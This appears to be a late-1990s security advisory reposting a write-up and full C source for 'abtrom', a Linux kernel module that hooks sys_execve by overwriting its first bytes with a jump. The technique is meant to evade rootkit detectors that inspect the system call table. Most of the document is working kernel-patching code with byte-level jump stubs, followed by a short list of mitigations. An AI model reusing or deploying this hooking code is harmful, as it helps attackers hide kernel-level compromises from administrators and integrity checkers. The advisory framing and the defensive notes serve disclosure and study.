COMMAND
modules
SYSTEMS AFFECTED
Linux
PROBLEM
Ricardo Quesada posted following. New ways of of hiding the
modules are found, so the 'lsmod' cant find them, etc, etc. But
the problem is that all those modules hook the 'system call table'
putting there their function.
The "abtrom" is the "anti btrom" (btrom is a trojan eraser), and
hooks the system calls whitout using the sys_call_table. Using
the sys_call_table to hook a system call is the 'right way', but
it is not for a stealth module, because programs like "btrom" can
detect that, and having the 'System.map' (file that every paranoic
administrator must have), every stealth module can be disabled
("btrom" uses this technique).
Ok, lets talk about the abtrom's technique. Take, for example,
that we want to hook the system call "sys_exeve". Disassembling
that function...
kdb> id sys_execve
sys_execve: pushl %ebp
sys_execve+0x1: movl %esp,%ebp
sys_execve+0x3: subl $0x10,%esp
sys_execve+0x6: pushl %esi
sys_execve+0x7: pushl %ebx
sys_execve+0x8: addl $0xfffffff4,%esp
sys_execve+0xb: movl 0x8(%ebp),%eax
sys_execve+0xe: pushl %eax
sys_execve+0xf: call getname
Note that the instruction that it is the 6th position occupies
only 1 byte. (That's important). What we have to do, is to
place a 'jmp to_our_hooked_function' there. Something like this:
movl hooked_execve, %eax
jmp *%eax
and that occupies 7 bytes, so we're going to overwrite the first
7 bytes of the sys_exeve function (luckyly we wont 'break' and
instruction). Ok, before puting our jump there, we must backup
those bytes. And now, in our 'hooked_execve' we must place a
jump to the backuped bytes. Following with our example:
char original_bytes[20]; /* backuped bytes */
void hooked_execve( void )
{
asm volatile( "jmp original_bytes;" );
}
and after running the backuped bytes, we must 'jump to
sys_execve+7' to continue the sys_execve code. That's all. The
sys_exeve would look something like this:
kdb> id sys_execve
sys_execve: movl $0xc8434050,%eax
sys_execve+0x5: jmp *%eax <- Note that none of the
sys_execve+0x7: pushl %ebx <- instructions were 'broken'
sys_execve+0x8: addl $0xfffffff4,%esp
sys_execve+0xb: movl 0x8(%ebp),%eax
sys_execve+0xe: pushl %eax
sys_execve+0xf: call getname
Notes: In 'our_sys_excve' we must restore the stack before doing
the jump. Look the in the abtrom.c for and example. Another way
to do the jump is (this occupies 1 byte less):
push $address
ret
So, why dont we build the 'Anti abtrom'? It's possible, but it
is difficult, because a 'jump to_our_function' can be placed in
many parts of the code, and can be disguised in many ways. For
info about 'btrom' take a look at: Phrack #54 or
http://www.pjn.gov.ar/~rquesada/progs.html
Code follows:
/*
* abtrom: anti btrom
* 22/08/99 by riq
* v0.2.
*
* compile with:
* gcc -c -O2 abtrom.c
*
* This module was tested in:
* kernel 2.2.10
* kernel 2.0.36
*
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/version.h>
#include <syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
extern void *sys_call_table[];
unsigned char ab_jmpcode1[7] = "\xb8\x67\x45\x23\x01" /* mov $address, %eax */
"\xff\xe0"; /* jmp *%eax */
unsigned char ab_bcode[20] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* 13 nops */
"\xb8\x67\x45\x23\x01" /* mov $address, %eax */
"\xff\xe0"; /* jmp *%eax */
void abtrom_hook( int a)
{
printk("sys_execve is hooked by abtrom\n");
asm volatile (
"mov %ebp, %esp;" /* restore stack */
"popl %ebp;"
"jmp ab_bcode"
);
}
int abtrom( int numero )
{
int i;
char *ptr;
unsigned int addr;
addr= (unsigned int) &abtrom_hook;
ptr = (char *) &addr; /* get from_jump address */
for(i=0;i<4;i++)
ab_jmpcode1[1+i]=ptr[i];
ptr = sys_call_table[numero];
for(i=0;i<7;i++) {
ab_bcode[i]=ptr[i]; /* backup overwritten bytes */
ptr[i]=ab_jmpcode1[i]; /* hook */
}
addr = (unsigned int) ptr+7; /* get to_jump address */
ptr = (char *) &addr;
for(i=0;i<4;i++)
ab_bcode[14+i]=ptr[i];
return 0;
}
int init_module(void)
{
abtrom(__NR_execve); /* hook the EXECVE function */
/*
Ocultar el modulo de la manera que mas les plazca.
Si van a usar -fomit-frame-buffer, modificar la forma
de restorear el stack.
Como está, no queda oculto.
*/
return 0;
}
void cleanup_module(void)
{
int i;
char *ptr;
ptr = sys_call_table[__NR_execve];
for(i=0;i<7;i++)
ptr[i] = ab_bcode[i]; /* restore de hook */
printk("abtrom: Bye.\n");
}
SOLUTION
* Put the kernel's code memory pages as read-only (this way we can't
overwrite the sys_execve and others sys_calls).
* Then we must put the page tables, also, as read-only.
* And finally, when the exception comes from the 'kernel' (this is easy to
verify. btrom uses this ), let the exception pass, otherwise consume
it.